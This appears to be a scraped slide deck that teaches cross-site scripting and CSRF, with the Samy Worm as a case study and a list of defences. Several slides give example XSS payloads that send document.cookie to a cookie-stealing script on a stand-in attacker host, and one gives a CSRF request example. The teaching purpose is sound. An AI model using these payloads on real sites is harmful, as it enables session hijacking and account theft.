Xssandcsrf

A web application may include malicious HTML tags or script
in a dynamically generated page based on invalidated input
from faithful sources. This can be a problem when a web
server does not ensure that generated pages are properly
encoded to prevent unwanted execution of scripts. however
if input is not validated to prevent malicious HTML from being
presented to the user may cause a serious problem.

Usually web browsers have the capability to interpret
scripts embedded in web pages downloaded from a web
server. Those scripts may be written in a variety of scripting
languages and are execute by the client's browser. Most of
the browsers are installed in system with the capability to
execute scripts by default.

The best example of a Web Worm is the Samy Worm, the
first major worm of its kind, spread by exploiting a
persistent Cross-Site Scripting vulnerability in
MySpace.com’s personal profile web page template. In
October of 2005, Samy Kamkar the worms author,
updated h is profile Web page with the first copy of the
JavaScript exploit code.
When an authenticated MySpace user viewed Samy's
profile, the worm payload using XHR, forced the user's web
browser to add Samy as a friend, include Samy as the
user's hero ("but most of all, samy is my hero") , and alter
the user's profile with a copy of the malware code.
Starting with a single visitor the Samy Worm infection grew
exponentially to over 1,000,000 infected user profiles in
under 24 hours. MySpace was forced to shutdown its
website in order to stop the infection, fix the vulnerability,
and perform clean up.

Cross-site Scripting (XSS) is an attack technique which
involves echoing attacker-supplied code into a user's browser
instance. A browser instance can be a standard web browser
client, or a browser object embedded in a software product
such as the browser within like an RSS reader, or an email
client. The code itself is usually written in HTML/JavaScript, but
may also extend to VBScript, ActiveX, Java, Flash, or any
other browser-supported technology.

 Non-persistent,
 Persistent and
 DOM-based.

 SSL-Encrypted Connections May Be
Exposed
 Attacks May Be Persistent Through
Poisoned Cookies
 Attacker May Access Restricted Web
Sites from the Client
 Domain Based Security Policies May Be
Violated

Many web sites has function where
registered users may post messages which
are stored in a database of some kind. A
registered user is commonly tracked using a
session ID cookie authorizing them to post. If
an attacker were to post a message
containing a specially crafted JavaScript, a
user reading this message could have their
cookies and their account extricated.

<SCRIPT>
document.location=
'http://example/cgi-
bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>
Due to the fact that the attack Javscirpt
is stored on the server side, this form of xss
attack is persistent

Many web portals offer a personalized
view of a web site and may greet a
logged in user with "Welcome, <your
username>". Sometimes the data
referencing a logged in user is stored
within the query string of a URL and
echoed to the screen

http://example/index.php?
sessionid=12312312&username=<script>d
ocument.location='http://attackerhost/c
gi-
bin/cookiesteal.cgi?'+document.cookie
</script>

DOM based XSS does not need the web
server to receive the malicious XSS
payload. Instead, in a DOM-based Cross
Site referencing , the attacker scolds
embedding of attacker data in the client
side at runtime , from within a page which
is served from the web server.

Assume that the URL
http://www.vulnerable.site/welcome.html
contains the following content:
<HTML><TITLE>Welcome!
</TITLE>Hi<SCRIPT>var
pos=document.URL.indexOf("name=")
+5;document.write(document.URL.substri
ng(pos,document.URL.length));</SCRIPT
> Welcome to our system…</HTML>
Reference from webappsec.org

In this example the JavaScript code
embeds part of document.URL (the page
location) into the page, without any
consideration for security. An attacker can
abuse this by luring the client to click on a
link such as
http://www.vulnerable.site/welcome.html?
name=<script>alert(document.cookie)</scr
ipt>
which will embed the malicious JavaScript
payload into the page at runtime.

<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
var
name=document.URL.substring(pos,document.
URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security Error ");
}
</SCRIPT>
Reference from webappsec.org

CSRF is defined as an attack of a malicious
Web site which ask a user’s Web browser
to do a malicious action on a trusted
site.
CSRF is also known as Cross-Site Reference
attack, One-Click attack, Sidejacking, or
Session Riding.

Opposite to Cross-Site Scripting (XSS),
which exploits the fath a user has for a
particular site, CSRF exploits the fath that
a site has for a particular user. It is not
necessarily true that defences against
XSS also protect against CSRF.

Example
The HTML form causes a GET request to
append the form data to an URL:
http://example.com/send_email.htm?
to=bob
%40example.com&subject=CSRFTEST&ms
g=When+the+user+...
The page send_mail.htm takes the URL
data and generates an e-mail to the
recipient from the user.

If an attacker can force the user’s browser
to send a HTTP GET request to
send_mail.html, then this page will send
an e-mail on the user’s behalf containing
data chosen by the attacker.
Source: CROSS-SITE REQUESTFORGERIES, Kjell
Jørgen Hole ,NoWires Research Group ,Department of
informatics, University of Bergen

 User must be “logged into” Trusted site
and also visit Attacking site.
 If Trusted site accepts GET requests, then
the <img> tag can be used to generate
a malicious request.
 If Trusted site only accepts POST requests,
then it is necessary to use a JavaScript to
generate malicious request.

 Allow a GET request to only retrieve
data, not modify data on the server
› This protects sites from CSRF using <img>tags
or other types of GET requests
› Recommendation follows RFC 2616

 Require all POST requests to include a
pseudorandom value
› Cryptographically strong value should be set
as a cookie in the user’s browser and be
included in every form submitted to the
server.
› The server should only accept POST request if
the random values in the cookie and the
form are equal Attacker doesn’t have
access to cookie

 Log out immediately after a task has
been completed
 Do not start other tasks while a sensitive
task is performed
 Never store usernames/password in
browser

Xssandcsrf

More Related Content

What's hot (20)

Similar to Xssandcsrf (20)

Recently uploaded (20)

Xssandcsrf